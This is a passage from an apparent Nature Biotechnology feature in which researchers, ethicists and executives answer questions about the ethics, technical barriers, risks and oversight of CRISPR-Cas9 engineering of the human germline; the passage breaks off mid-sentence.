and recycle them.  It will be the way they track how successful the program is in the community.  AlertMe
-Nature Biotechnology asks selected members of the international community to comment on the ethical issues raised by the prospect of CRISPR-Cas9 engineering of the human germline.  With the first papers appearing in the literature that describe CRISPR-Cas9 engineering of human reproductive cells, are we at a new Asilomar moment? In a letter to Science in March entitled “A prudent path forward for genomic engineering and germline gene modification,” 18 signers indicated “A framework for open discourse on the use of CRISPR-Cas9 technology to manipulate the human genome is urgently needed.” They wrote of “unparalleled potential for modifying human and nonhuman genomes,” to cure genetic diseases in humans and to “reshape the biosphere.” But they warned of consequent “unknown risks to human health and well-being.”  Nature Biotechnology contacted 50 researchers, ethicists and business leaders in the global community to comment on ethical issues raised by CRISPR engineering of the human germline. Nature Biotechnology received responses from 26 of those contacted; because of space constraints, only an edited sample of all the responses received are presented below. Readers are directed to Supplementary Comments for the unedited responses received, which will give an idea of the breadth of agreement among different respondents on different issues.  With the current pace of advances in the use of gene editing technology, IVF and germ stem cell research, to what extent do you think germline engineering is inevitable?  Alta Charo: I do not think it is inevitable because many of the reasons one might imagine using it in the future might also suggest the use of easier technologies involving selection among gametes and embryos free of the destructive trait of interest.  Robin Lovell-Badge: It is inevitable and will be carried out somewhere, given that it is not illegal in many countries. But it is difficult to predict when, or for what purpose.  Annelien Bredenoord: I prefer not to use the word 'inevitable' because in the end it would be a consequence of human decision-making. I am inclined to say that inheritable genetic modification is on the horizon, but perhaps the first application of germline modification would be mitochondrial donation (also known as mitochondrial gene transfer or mitochondrial gene therapy), which does not involve gene-editing techniques. Recently, the UK Parliament legalized this technique aimed at preventing the transmission of mitochondrial DNA mutations from mother to child.  Katrine Bosley  Katrine Bosley: From a technical standpoint, I think most scientists think that this would be relatively straightforward, but technical feasibility is never the only consideration in doing experiments. For example, every day, we also think about safety of experiments (for people working in and around labs, for the local community, etc.), about environmental concerns (how we manage chemicals, radiation, etc.), and, of course, about ethics in many different dimensions (in animal research, in informed consent of human subjects, in design of clinical trials, etc.). There's a robust framework for all of these considerations—laws, regulations, policies and general good practices—that has been developed over many years and is part of how we train scientists and [of] daily working practice. I think that this will be the case for human germline engineering as well, particularly given that the societal and ethical issues surrounding it are broad and profound. Human germline engineering isn't a new concept, but we haven't had to think deeply about its management or regulation until now because it was pretty theoretical until now. As is often the case, a technical breakthrough is forcing us to confront a complicated question fast. But I have confidence we will address it carefully and thoughtfully—the fact that this dialog is emerging so early in the life of this technology shows that the scientific community sees the implications and sees the need for and the importance of broadening the dialog beyond the people working in the field and indeed beyond scientists and clinicians. Everyone has a stake in getting this right, and there are a lot of different perspectives around the table that need to be part of the discussion. I think we have a responsibility both to find the right way to realize the potential of this powerful technology and also to do it in a way that is highly ethical.  Tony Perry  Tony Perry: Human germline genome engineering is probably inevitable, although it's unclear how quickly it will come about. One can simplify it to three issues: the tools, the goals and whether the tools can achieve the goals. We will likely soon have the tools. The goals are a major focus of the ethical debate that will determine when and if human germline genome engineering is implemented. There may be insuperable barriers to the tools achieving complex goals like higher IQ compared with, say, the modification of a highly penetrant mutation to prevent a disease.  Ron Cohen  Ron Cohen: It is inevitable. No way to stop it, only to regulate it as best as possible.  J. Craig Venter  J. Craig Venter: I think that human germline engineering is inevitable, and there will be basically no effective way to regulate or control the use of gene editing technology in human reproduction. Our species will stop at nothing to try to improve positive perceived traits and to eliminate disease risk or to remove perceived negative traits from the future offspring, particularly by those with the means or access to editing and reproductive technology. The question is when, not if.  What are the major outstanding technical barriers to achieving germline alteration for human clinical application?  Luigi Naldini  Luigi Naldini: Whereas gene disruption is easily within the reach of current technologies, gene editing is not. Gene editing (which would be required for in situ correction of a mutation or editing of a risk- or disease-causing allelic variant) relies on gene targeting (by artificial endonucleases) and homologous recombination using an exogenous template. Current methods for gene editing are inefficient in primary cells and require selection of a small fraction of the treated cells bearing the desired edit. This is not easily applicable to germline engineering, especially in humans. First, one would have to treat a very large number of embryos to have a reasonable chance to generate some edited cells and there is no obvious (to me) strategy to identify and select those (even fewer) treated embryos carrying the desired edit in most if not all inner mass cells, unless by forced selection through a genetic switch built-in within the template. The majority of treated embryos would carry a targeted, possibly disrupted, allele and, in the absence of forced selection (or a rarely occurring situation in which gene correction per se endows ES cells with a selective advantage), the few embryos carrying edited cells would be chimeras. Second, current embryo screening and implantation strategies would not address the occurrence and/or extent of chimeras and seem hardly compatible with the expected efficiency. Gene editing combined with (exogenous) genetic selection would entail a more substantial genetic modification of the germline (incorporation of exogenous selector) similar to the GMOs currently used in agriculture or transgenic animal models and raise even more concerns on acceptability and potential risks. Current hurdles toward achieving efficient editing in primary cell types are efficient delivery of the gene targeting machinery, tolerance and permissiveness and/or proficiency of the treated cell to homologous recombination, selection of the desired edit, possibly epigenetic scar at the targeted gene altering expression features.  Jinsong Li  Jinsong Li: Of the two main strategies for germline modification—transfecting CRISPR-Cas9 into zygotes or injecting CRISPR-Cas9 into germ stem cells (which then produce gametes carrying corrected genes)—engineering of germ stem cells has more promise. In the former method, not all resulting pups carry the desired genotype and there are sufficient off-target effects to be a concern; the latter method allows gametes to be screened for presence and fidelity of the modification before creation of the zygote. There are at least three outstanding technical barriers that need to be solved before germ stem cell–mediated gene therapy can be taken into humans. Taking spermatogenesis stem cells (SSCs) as an example, these are: how to achieve efficient derivation of stem cell lines in humans; second, will it be possible to obtain mature sperm from cultured SSCs; and third, will it be possible to achieve efficient genetic modification of human SSCs? In my mind, there is still a long-way to go to use CRISPR-Cas9 in germ cells to correct human genetic disease.  Jin-Soo Kim  Jin-Soo Kim: Before moving to germline editing, researchers need to develop, first, methods to suppress error-prone, NHEJ and to enhance the efficiency of HDR in germ cells; second, improvements in the methods for profiling genome-wide off-target sites (e.g., Digenome-seq, GUIDE-seq) to reduce or avoid false-positive and false-negative sites; and third, sensitive methods to measure off-target mutation frequencies. Current sequencing platforms often cannot detect off-target mutations that are induced at frequencies below 0.1%.  Feng Zhang: There are challenges on both the technical and biological fronts. Technologically, we don't know how specific the current generation of genome-editing tools is. Do these tools result in any other changes in the genome? Do they affect the cell in other undesirable ways, such as altering the epigenetic state of the genome and lead to other lasting consequences? Biologically, we still know very little about how changes in the genome may affect biological function. With the exception of a small number of mutations that are known to cause diseases, we are unable to predict the biological consequence of any specific genetic change in a cell or organism.  Guoping Feng  Guoping Feng. One of the major issues is off-target effects. A second issue is the potential mosaicism from editing after the single-cell stage. A third issue is the low efficiency of HDR for correcting genetic defects. However, these are technical barriers that will be solved in the near future. In fact, progress has been made in each of the areas, such as the use of double nickases to reduce off-target effects, using Cas9 or nickase protein instead of mRNA for faster action, and the suppression of genetic programs to increase HDR efficiency.  Edward Lanphier: Achievement of a high degree of specificity that is essential for therapeutic use, particularly for the CRISPR-Cas9 system, which is the least specific of all of the current methods of genome editing (ZFNs and TALENs), and efficient delivery protocols to lessen the possibility of chimerism of the resulting organism are the major outstanding technical barriers to achieving germline alteration for human clinical application.  What are the individual health risks associated with germline engineering and what are the potential individual benefits?  Hank Greely: The anticipated individual health risks are off-target effects and genetic chimerism. In addition, there are also unanticipated effects of on-target changes. And it may be that the process of intervention in gametes, gamete precursors, zygotes, etc., would also have some unanticipated bad effects. The potential individual benefits are trickier, I think. In only a few cases would there be medical benefits (in terms of avoiding genetic disease) that could not be obtained through preimplantation genetic diagnosis or through prenatal testing and (when wanted) abortion. The advantage that your descendants wouldn't have to use preimplantation genetic diagnosis seems pretty small to me. People who are homozygous for dominant diseases—a couple that both have the same autosomal recessive disease—may add a few more candidates for the approach, but not many more. In terms of enhancement, we're so far from knowing and understanding 'enhancing' genes, at this point the individual benefits are asymptotic to zero.  Lovell-Badge: Of course, any justification for attempting gene editing in humans must balance risk and benefit, where clinical need is the most important. Experiments in mice suggest that most gene editing experiments have not led to noticeable effects apart from those expected from targeting the gene in question. However, subtle problems will be missed, as will problems causing early embryo lethality. And mice are not humans. Although off-target effects may be rare, whether they are serious or not is going to be hard to predict without doing the 'human experiment'. Second, genetic mosaicism could be a problem depending on the gene being edited. In some cases where gene mutations in mice have been studied in mosaics or in chimeras (where two embryos are joined together), the resulting phenotype is worse than when the gene is mutated in all cells. However, generally one expects a milder version of the phenotype. Unanticipated effects of the on-target changes could occur. If there were insufficient knowledge about the gene and how it works, the change being engineered might in some cases lead to, for example, new protein-protein interactions that compromise the function of the second protein. The potential individual benefits will depend on who you are talking about: a child who would otherwise have been born with a defect, or the parent whose ego has run amok and wants some improvement in his/her child?  Jennifer Doudna  Jennifer Doudna, Dana Carroll, G. Steven Martin & Michael Botchan: We would list at least five risks. First, some applications would be confounded by on-target mutagenesis by NHEJ. For example, one could unintentionally convert sickle cell disease into beta thalassemia. Second, although the likelihood of off-target effects can be minimized, there is still the possibility that an essential gene could be mutated. If the individual was already heterozygous for a mutation in such a gene, this would give them two mutant alleles. Some genes are haploinsufficient, so a single mutant allele would affect them. Genes on the X chromosome are present in a single copy in males and are expressed from only one parental chromosome in cells of females, so mutations there represent a greater risk. Third, if the 'edited' individual is chimeric for the intended correction, they may still have diseased cells in critical tissues. Fourth, the genetic background in which the disease mutation exists may at some level be adapted to carrying that mutation, and correcting the gene back to 'wild type' could have unanticipated consequences in that background. We would classify this as a tertiary concern because it seems very unlikely to have significant consequences. Finally, it will be hard to predict and assess unintended long-term consequences of germline editing, such as effects that only occur later in life and result from the specific genetic background of an individual.  Cohen: Mostly speculative at this point, though one can predict on the basis of historical precedent with other new technologies (e.g., Jesse Gelsinger [see timeline] that off-target and unintended effects will almost certainly occur.  Perry: The risks depend on the targeted sequence; some sequences may enable extremely high specificity whereas others don't. Some may have serious off-target consequences if they do occur, whereas others may not have overt consequences. Another issue is unanticipated effects of on-target changes; introducing an improving genome modification may not always be without attendant disadvantages. For example, with heterozygous carriers of the HbS single-nucleotide polymorphism for sickle cell disease, you eliminate sickle cell disease but increase the risk of contracting malaria. Benefits in general include eliminating many of the 3,000 or so single-gene heritable disease traits. In my mind, chimerism is a lower technical risk, firstly because the system is (already) so efficient, secondly because it would be highly prescriptive leading to identical end points, and thirdly because it will likely be of altered and non-altered genomes, so the person would be no worse off than they would otherwise have been.  Emmanuelle Charpentier  Emmanuelle Charpentier: Besides a very significant number of ethical questions to be addressed, safety concerns are probably the most pressing consideration. During the recent debate and approval of legislation allowing mitochondrial replacement approaches for IVF in the UK—which leads to circumstances in which an embryo would receive genetic material from three different individuals—the concept of chimerism having a negative impact on the health and fitness of respective offspring was dismissed for humans. Potential benefits are related to the gene correction of severe genetic disease allowing kids a normal life.  What are the societal risks of germline engineering and what are the potential benefits?  Jonathan Moreno  Jonathan Moreno: Perhaps the obvious health benefits for future persons are evident, as well as possible savings for healthcare systems for chronic conditions and disabling conditions (although presumably everyone will always die of something so those savings might be short-term). On the other hand, population biologists suggested 40 years ago that it might be advisable to establish a bank of traits that have been screened out of populations, just in case they need to be reintroduced into the gene pool. Although they were talking about the unintended consequences of traditional screening for carriers of such conditions as sickle cell anemia and Tay-Sachs, that idea has renewed resonance now. There is also the prospect of 'consumer eugenics'—eugenics driven by parental choice rather than by state order, which would have similar results to traditional eugenics, such as a multitiered social system based on certain enhancements. In truly far-out scenarios, some states might wish to produce generations of super-charged individuals as potential warfighters. I'm thinking of The Boys From Brazil.  Naldini: The main current societal risk is the backlash from an exaggerated but potentially pervasive view that gene-editing technologies will lead to science-fiction scenarios in which humans are bred upon design leading to a whole array of unanticipated effects (see also Anthony Perry comment in Supplementary Comments). Even if these are unrealistic scenarios, they may generate fear, distrust [of] scientists and overcaution on the use of the current technologies, which may inhibit their full exploitation for less problematic and more fruitful applications in somatic gene therapy, biotech and biomedical research. Limitations or bans on GMOs in agriculture in a large part of the world teach about such risks. Indeed, scientists should restrain [themselves] from depicting unrealistic scenarios of pervasive or far-reaching engineering of the human genome (i.e., removing risk-associated variants or augmenting some biological function) when we still lack a comprehensive understanding of many of its overall functions, short of having identified the impact of localized mutations [on] the coding or regulatory potential of a gene. On the other hand, an open debate on the pros and cons of the technology and applications, and efforts at consensus-building among scientific societies and other stakeholders on what is acceptable and what falls beyond the currently acceptable boundaries (practical as well ethical) of a scientific experiment or biomedical intervention may help build better confidence on the self-correcting quality of science and open society.  Charo: It is useful to do the math when speculating on the population genetics alterations one fears might ensue. As with the germline engineering debates in the 1990s, even if the technology were used, the number of users would likely be so small as to have little or no effect on population diversity and distribution of traits.  Weihzi Ji  Weihzi Ji: Gene editing in all human cells, not only of germline cells, creates social challenges. First, if gene editing is expensive, only rich people will be able to afford it. That means these gene improvements are available only to the richest societies, and only [the] richest people are able to have 'less-sick' babies and with it enhancements become possible, 'more beautiful and intelligent' babies. Another problem is that engineering may counteract natural selection in populations and cause unanticipated effects on diversity of human variants in [the] gene pool. Third, there is no doubt that this technology will bring with it the means for prolonging life through improved medical care. How to deal with resource consumption is a huge challenge. In my opinion, the greatest potential societal benefit is to rid society of genetic diseases that create undue suffering and drain resources.  Bredenoord: We live in a technological culture. Biomedical technology is like any other technology—it impacts society. Usually, a distinction can be made between soft impacts and hard impacts. Hard impacts typically include safety aspects, economic aspects and cost-effectiveness. Soft impacts include the impact a novel technique has on our moral actions, experiences, perceptions, interactions with others and quality of life. It is too early to discern the societal (soft and hard) risks and benefits of germline engineering. That said, I would venture the following as potential societal risks: public pressure to use this technique (which would reduce rather than enhance autonomy); how to pay for this technology; how the use of the technology for enhancement would affect society; and safety issues arising from premature clinical applications and misuse. In terms of societal benefits, I would suggest that the technology may offer curative treatments for sometimes devastating diseases and alleviate human suffering and improve the quality of life.  Zhang: It is important to thoughtfully evaluate the ethical implications of germline editing. Where do we draw the boundary of what is an acceptable biological trait for editing in the germline and what is not? If we get to a stage where we feel that there is enough understanding of the technology, the first diseases that will be tackled will likely be the most grievous kinds (cystic fibrosis, sickle cell anemia, etc.). However, as we become more comfortable with the safety of germline editing, should we allow editing to remove mutations that do not cause early-onset disease but may in combination with other factors increase risk for late-onset diseases like Alzheimer's? What about more manageable diseases like diabetes? What about height, appearance and intelligence? Where do we draw the line? These are enormously complex questions, and we need to engage the society and a wide variety of experts to fully consider all possible issues.  Martin Pera  Martin Pera: The risks include the unanticipated consequences of genetic intervention (variant alleles may have important advantages in some situations that we cannot anticipate). Also, in some instances—for instance, correction of hearing deficits or enhancement of stature—patient groups have argued that the 'defect' is a perfectly acceptable form of human variation that should not be subjected to genetic cleansing.  In what cases would you consider human germline engineering ethically acceptable?  Naldini: Potentially and only for the in situ correction of a well-established genetic mutation causing with high penetrance a severe to lethal disease lacking effective treatment, and provided that editing aims to restore the common wild-type allele.  Greely: If it were proven sufficiently safe, I think the strongest case for it being ethical would be when there is no other way that a particular couple could have a healthy child that was genetically 'theirs'.  Feng: I would support germline engineering only if there is a clear case for preventing severe illnesses, and there is no way to select healthy oocytes for IVF. This could be rather rare.  Charpentier: I believe the European Convention for the Protection of Human Rights and Dignity of the Human Being, which states that “an intervention seeking to modify the human genome may only be undertaken for preventive, diagnostic or therapeutic purposes and only if its aim is not to introduce any modification in the genome of any descendants,” is a potential path forward, assuming very high safety standards and no alternative treatment options being available. Having said this, personally I have concerns regarding the modification of germlines in humans.  Lovell-Badge: Germline engineering is only ethically acceptable if it is safe. But if it is safe, then I, and perhaps society at large, would probably not object to use of the techniques to avoid a serious genetic disease and in instances where preimplantation genetic diagnosis is not appropriate, such as in the unlikely situation someone is homozygous for a lethal mutation (e.g., Huntington disease). It may even be appropriate as a means to avoid a less serious condition that will have a transgenerational effect and be a significant concern to the family (e.g., mutations of genes on the Y chromosome that reduce male fertility to such an extent that it is necessary to carry out intracytoplasmic sperm injection to have children, not just [for] the individual but all his male descendants). Correcting such a mutation to allow male children to be fertile would be ethical in my view. Enhancement is trickier. Using these methods to confer disease resistance may be considered okay: who would not want their children to be resistant to HIV, Ebola, etc.? The situation is less clear for diseases with a strong genetic risk factor. For example, the APOE4 allele of the apolipoprotein E gene is associated with Alzheimer's disease; heterozygotes are approximately 3 times and homozygotes 15 times more likely to develop the disease, and to do so earlier, than individuals homozygous for the common APOE3 allele, and where the APOE2 allele may even be protective. Why not use gene editing to change APOE4 to APOE3 or APOE2? However, it's unclear how APOE4 confers risk and furthermore, with any risk allele, particularly a common one, it is important to ask why it is maintained in the population at a relatively high frequency; could APOE4 in fact confer some advantage to carriers unrelated to its connection to Alzheimer's? Moreover, parents are always seeking ways to give their children an advantage in life, and we do not consider this unethical. Sending a kid to a good school, for example, can have a transgenerational effect. However, a germline genetic change may be passed down without subsequent generations having a choice (except the same technology could be used to reverse the enhancement).  Annelien Bredenoord  Bredenoord: Translating germline modification into clinical trials and society requires time, careful research (involving both the science and ethics) and public deliberation. Broadly, I would propose two conditions for an ethical use of germline engineering. First, there is a requirement for safety. First-in-man use for germline modification is ethically challenging by nature, particularly because the needed evidence to reliably predict risk and benefit (testing in humans) is missing. This needs careful, long-term, interdisciplinary research and sufficient evidence to make the leap from bench to bedside. It also needs more ethics research, particularly in determining when an acceptable risk-benefit balance has been reached. Second, one of the most prominent (nonsafety) objections against germline modification is the fear that it would become possible to alter so-called 'essential characteristics' of a future person. This could violate—what philosopher Joel Feinberg has coined in another context—the child's right to an open future. I have argued previously that a clinical application of germline modification could still be compatible with the position that one should not violate the child's right to an open future. To prevent that a child is predetermined toward a specific plan of life, it seems reasonable to only allow modification that broadens so-called 'general purpose means'. These are capacities that are useful and valuable for carrying out nearly all plans of life. In other words, we should only allow genetic modifications that we can assume give children traits that are useful for all conceptions of a good life. Although debate is possible (and necessary) about what general purpose means exactly are, being healthy should clearly be included. Health, after all, is a sine qua non for many (though not all) plans of life.  What do you consider the optimal approach for oversight: full international ban, temporary moratorium, regulation or laissez faire?  Jacob Corn  Jacob Corn: I, and the other authors of the Science Perspective, am asking for a temporary moratorium on human germline editing research while a wider discussion among representative stakeholders from a variety of areas is under way. We are in the process of initiating a larger meeting for just such a purpose (see comment from Robin Lovell-Badge in Supplementary Comments).  Alta Charo  Charo: As to the research on gametes or embryos, international legal harmonization is unlikely, given the varying legislative and regulatory schema. In many places, some or all of this research would be completely illegal, in others it would be regulated and in others it would be possible without any independent oversight. Even within the United States, some variations in state laws are relevant. This is why an initial step involves public discussion and development of principles to guide the research.  Qi Zhou: I think a temporary moratorium is the optimal approach. We should put our current efforts into solving the technical problems and testing the safety and efficacy of germline engineering treatment with animal experiments, but we can leave the door open for germline modification for future application in curing some severe diseases.  G. Steven Martin  Doudna, Carroll, Martin & Botchan: We don't think an international ban would be effective by itself; it is likely some people would ignore it. Regulation is essential to ensure that dangerous, trivial or cosmetic uses are not pursued. In addition, a broad discussion of the prospects and limitations will have two positive effects: first, it will alert people broadly to the concerns about the current technology and potential long-term effects; and second, it will encourage people who are eager to use the technology that there is a path to applications, so they should delay its application until the concerns have been more thoroughly examined.  Edward Lanphier  Lanphier: We favor a moratorium on genome editing research on human germ cells while the pros and cons of this technology application are discussed, a determination is made as to whether or not there are any good arguments in favor of moving forward, and if so, clear guidelines are established for specific cases in which germline genome editing could be used.  Perry: In the United Kingdom, the Human Fertilization and Embryology Act covers all generation of human embryos outside the body and as such includes germline engineering procedures. Given this, no new legislation is required in the UK to regulate human germline engineering unless it becomes possible to engineer genomes in vivo. It seems unlikely that a full international ban would ever be agreed [to] and even if it were, it's unclear to me how it would be policed. This debate cannot be seen in isolation: for example, China would be less inclined to listen to the United States regarding human germline engineering if political relations were otherwise deteriorating. Arguably, the emphasis should be on discussion, not a moratorium. If the prevailing view to emerge following discussion is that there should be a moratorium, so be it. However, a moratorium may drive research underground when what is needed is the opposite: open and transparent communication of a measured international research effort. Champions of a temporary moratorium should make it quite clear as to the circumstances under which it would be lifted. A moratorium may evolve into prohibition and 'illegalization'; it could stifle debate and have unintended consequences, including 'genome engineering tourism' to lax sovereignties, leading to untested and poorly regulated procedures. There may be some parallels with discussions about legislation for abortion and euthanasia in this regard.  Pera: I think a moratorium to enable a full and reasoned debate, and to allow for education of the public, is essential. It is too early for regulation, including an international ban, and laissez faire is too risky. With reproductive cloning, scientists agreed to a ban, but reproductive cloning was different in that it was very difficult to envision any good medical rationale for undertaking it.  Is it possible to have an Asilomar-type resolution today, given the questions swirling around CRISPR germline engineering, the international nature of research, and ease of use of technology and rise of 'garage' biology outside of traditional centers?  Moreno: There's a nearly reflexive tendency to think of Asilomar, but Asilomar has become for biology what Woodstock has become for youth culture—a mythology that's grown but that obscures how muddy the event itself was at the time.  Kim: I am skeptical about an Asilomar-type resolution. Several decades ago, recombinant DNA technology was available to a limited number of labs in the United States. Now CRISPR genome editing is used widely all over the world. CRISPR has democratized genome editing. Human germline genome editing cannot be performed in a garage because it is illegal to obtain and manipulate human eggs in most developed countries.  Zhou: I think an Asilomar-type conference involving scientists in different countries is a useful way to draw some consensually agreed guidelines to address this question.  Bosley: While the world has changed a lot since 1975, I think that leadership still matters. In fact, given the international nature of research and the ease of [using the] technology, it may matter even more than it did in 1975. I think there's an interesting question of how to engage across all of these diverse parts of the scientific community, and that is the challenge of how to effectively lead today. Leaders engaging on this topic are already emerging from long-established and highly respected academic institutions—that's not surprising; that kind of leadership is in their DNA and they're really good at it. But how can the 'garage' biologists, for example, also be part of the leadership on this question? I think genuine and broad engagement will be key. Whether it's an Asilomar-type resolution or another forum or tool—or indeed, many different forums and tools—leadership and an ongoing dialog do matter. This isn't the kind of question that can be addressed with one resolution or one conversation, and people's perspectives may well evolve over time.  Feng: I think it is possible and important, even if we cannot get every country together. It is very important to have this meeting early (right now) and have some countries lead the way. Including both developed and developing countries in the leading group will be critical.  Perry: An Asilomar-type meeting seems unlikely. One has to compare the circumstances surrounding Asilomar and the human germline debate. In 1975, Asia was not such an economic and scientific powerhouse. The language describing recombinant plasmids and viruses resonated with the fear of a cancer-causing infectious outbreak. This is not directly relevant to human germline engineering, but it is instructive. Asilomar reflected a deep concern that recombinant DNA had terrible potential, so parallels with Asilomar may reveal an unstated premise of the proposed moratorium for human germline genome modification—that it is, in essence, bad. But the premise seems to ignore the potential for good of human germline genome modification. Was there an analogous awareness in the debate of 1975 that good could come from molecular cloning? Every day that a moratorium delays development of human germline genome modification is potentially a day it adds to human misery. Two general points are also related to this question. First, the United States does not hold the same sway as it did in 1975. The second point comes by way of precedent. Given the considerable lag between the false claim of Hwang Woo-suk to have generated human nuclear-transfer embryonic stem cells and the first verified report almost a decade later—and notwithstanding the assortment of attention seekers, kooks and loons who have claimed to be performing human cloning in the past 15 years but then turned out to be nothing more than an assortment of attention-seekers, kooks and loons all along—the 'garage biology' idea may be less likely than it's given credit for. This is not an argument for complacency, but for a realistic take on what is likely.  Left: Rosario Isasi. Right: Bartha Knoppers  Rosario Isasi & Bartha Knoppers: Perhaps it would be reasonable to adopt a tiered approach, encompassing a temporary ban on any research and clinical activity directed at intentional human inheritable genome modification, while at the same time allowing nongermline modifications. Or conceivably, is a more plausible approach a temporary (or permanent?) prohibition on initiating a pregnancy with a human embryo whose germline has been altered? An expedient, albeit knee-jerk, approach would be simply legally prohibiting intentional germline and non-germline genome modification based on fears over slippery slopes resulting in eugenic scenarios.  Venter: An Asilomar type conference or the equivalent will make some feel better while extending the illusion that they can influence the applications of a simply applied technology to a key human need. Only by greatly increasing our understanding of the human genome and genotype-phenotype relationships and the consequences of making changes will we have the knowledge to make wise decisions. Until that time, human genome editing should be considered random human experimentation. We should push off the inevitable as long as possible to gain time to gather the knowledge and wisdom to enable us to proceed to the benefit of our species.  Does the fact that CRISPR technology works relatively easily in different laboratories across the world have an impact on the effectiveness of a ban or moratorium and pose different issues than germline gene therapy or reproductive cloning?  Hank Greely  Greely: Of course, the ease with which the technology can be used makes it harder to impose a ban. CRISPR or any present or future equivalents would be a way of doing germline gene therapy that holds out the possibility of doing something that is much more effective than current gene therapy methods or than reproductive cloning.  Corn: I think responsible scientists will respect significant, widespread concerns about germline editing. It remains to be seen how the ease of use of CRISPR will impact clinical use. While garage applications are not realistic, one could imagine a future in which most well-equipped medical centers might have access [to] things like somatic (e.g., hematopoietic) cell editing.  Lanphier: Yes, the fact that there is an easy to use system for genome editing, such as CRISPR, creates a low barrier to entry for germline genome editing and means that a ban or moratorium may not be easily enforced and thus not completely effective worldwide. While the CRISPR-Cas9 system has not been shown to be reliably specific, it offers a more straightforward approach for targeted manipulation of the genome than germline gene therapy or reproductive cloning.  Feng Zhang  Zhang: It is important to educate the scientific community and the public with regard to the implications of genome editing. This way people will be best equipped to make the most ethical and sensible decisions in their own research as well as monitor activities around them. Technically, CRISPR is not simpler than germline gene therapy or reproductive cloning, and it is not more or less challenging to regulate.  Perry: The ease with which the Cas9 technology can be used, coupled with its clear potential may make any moratorium less effective; whatever is being said publicly, there may be a behind-the-scenes race to develop the technology to gain an advantage before the moratorium is lifted. I see this as likely and unpoliceable. On one hand, this may be precisely what some people wish. On the other, the result may be diametrically opposite to what others wish. An alternative would be to pursue the work and in parallel foster an environment of openness, transparency and trust. As to 'garage' biology, reproductive cloning may be instructive: we're still in the tall grass getting on for 20 years after the first authenticated mammalian cloning was reported and few people can do it in any species.  Pera: No, because genetic manipulation is only part of the story. It will still be necessary to carry out medical procedures to successfully deliver modified gametes or embryos into the human reproductive cycle, and this cannot be done in isolation by one or two individuals.  The UK has approved mitochondrial replacement therapy and there was a recent report of human somatic cell nuclear transfer into an enucleated oocyte; how different compared to these are the ethical challenges posed by CRISPR germline engineering?  Ji: CRISPR germline engineering has additional ethical challenges to mitochondrial replacement. One of these is if we should change our genome before we really know all the functions of our genes and of our genome; of course, 'junk DNA' is not entirely junk.  Feng: The major difference is that in the UK case, one does not change the gene pool. It changes the genome of a human, but not the human race.  Zhou: Germline engineering via CRISPRs or other genome-editing technology faces bigger challenges than mitochondrial replacement therapy because mitochondrial DNA carries much less genetic information than genomic DNA. The ethical challenges are the same, however. Do we allow such biomedical approaches to be used to achieve genetic enhancement of future generations? Human therapeutic cloning does not directly involve germline changes. For human reproductive cloning, I think the scientific community and governments all over the world have already reached a consensus that it should be banned completely.  Lovell-Badge: The ethical and technical challenges are different and should be treated as such.  Mike Botchan  Doudna, Carroll, Martin & Botchan: Because mitochondrial transfer is permanent, there will be unpredicted effects of novel alleles in a given background, similar to novel alleles generated by CRISPR engineering of the germline. However, there are significant differences between the two approaches: first, there are very few genes in mitochondria, and they have well-defined roles specific to that organelle, so there are fewer places to go wrong. Second, no nuclease-based engineering is involved, so there will be no off-target mutagenesis. Finally, unlike the nuclear genome, deleterious effects in transplanted mitochondria cannot be moderated by sexual reproduction because the organelle is inherited uniparentally.  Bosley: The United Kingdom's recent action was the culmination of deep debate and extensive consideration over a long period of time. It's a good example of engaging diverse constituencies and considering the implications from many different angles. These techniques do involve germline changes, but for several technical reasons, their implications are much more constrained than the CRISPR-Cas9 technology. With mitochondrial replacement, only a very limited number of genes are involved, the technique is such that it can't extend to more genes than the mitochondrial ones and the diseases caused by mutations in those genes are very severe. The balance of potential benefit to patients and broader implications is one that can be assessed, understood and a judgment made about whether that balance is acceptable. And the UK government made that judgment with their approval of it. The current question about CRISPR and germline engineering is far more complex, and we don't have a sense of the breadth of the implications, and we don't understand the risks well. The technology's progress now demands us to confront these questions, but that can't be done quickly.  Perry: Mitochondrial replacement and nuclear transfer are different from Cas9-mediated germline engineering and seem to be red herrings in the debate. Indeed, there is a danger that discussion of germline engineering will be addled by them. Why? First, because mitochondrial replacement doesn't alter DNA sequences, it mixes up mitochondrial and nuclear genomes in a new combination that arguably could have occurred naturally. Also it's not new. Others have been doing this kind of thing for ∼15 years or more. It's possible—likely, even—that had the timing of the UK legislation not coincided with recent advances in Cas9, we wouldn't be thinking about it. Somatic cell nuclear transfer also doesn't change genomic sequence; on the contrary, it preserves a preexisting nuclear genome produced naturally by meiosis. I don't think advocates of therapeutic cloning have put 'generating germ cells for genetic alteration' at the top of their list of justifications, but otherwise nuclear transfer ES cells are also of limited relevance to discussions about human germline genome engineering.  Is international, national oversight or a combination of both needed, and which do you consider the correct regulatory or government agencies to oversee this research?  Moreno: There's a great deal of regulatory diversity under which gene editing could be brought among the countries that have the best developed science capacity (e.g., on embryo research, GMO, etc. and if these techniques are as easily accessible as they seem to be it won't be hard to go 'offshore'). Unfortunately, the international regimes for life sciences regulation are few to none, once one gets beyond intellectual property and some research ethics standards, especially as concerns sanctions for bad behavior. Witness the wholly voluntary nature of the handling of the ongoing controversy about gain-of-function research. Again as to sanctions, research funding can be withdrawn but it looks like systems like CRISPR can be done for rather little money. For demonstrable harms after the fact, there is little redress; the United States is not a part of the International Criminal Court, for example. Nonetheless, there should be some global forum for the exchange of views about germline engineering. A natural venue would be UNESCO's International Bioethics Commission (of which I happen to be the US member), especially in light of Article 16 of the Universal Declaration on Bioethics and Human Rights (2003): “Article 16—Protecting future generations: the impact of life sciences on future generations, including on their genetic constitution, should be given due regard.” The result of such an exchange could be a new declaration or perhaps an addendum that takes gene editing into account, one that would bind the states' parties.  Naldini: Oversight by legitimate ruling bodies representing all society's stakeholders should suffice upon informed advice by scientific societies or representatives. Scientific societies and communities should hold a debate and express general recommendations.  Qi Zhou  Zhou: I would prefer 'international guidelines plus national oversight policies' to oversee human germline engineering. Medical or healthcare services, academic institutions and industry face the same scientific and technical barriers, but the ethical challenges are different in different countries due to differences in society, religion, economics, etc. Thus, international guidelines could make a guide for the consensus questions and provide a basis for each country to formulate its own oversight policies, according to its own realities and cultural, political, religious and social context.  Robin Lovell-Badge  Lovell-Badge: National oversight should suffice, except many countries do not have a system in place to do this. I very much doubt that international bodies would be either reasonable or effective unless they work by consensus, are driven by science and [are] listened to by clinicians.  Charpentier: Living in a globalized world as we do these days, any isolated national initiative might fall short over time.  Dana Carroll  Doudna, Carroll, Martin & Botchan: In the United States, the Recombinant DNA Advisory Committee now reviews all proposals for gene therapy, including ones using designer nucleases (no CRISPR protocols have been submitted, as far as we know). The FDA also reviews such proposals because genes and nucleases are viewed as drugs. It would be good to have 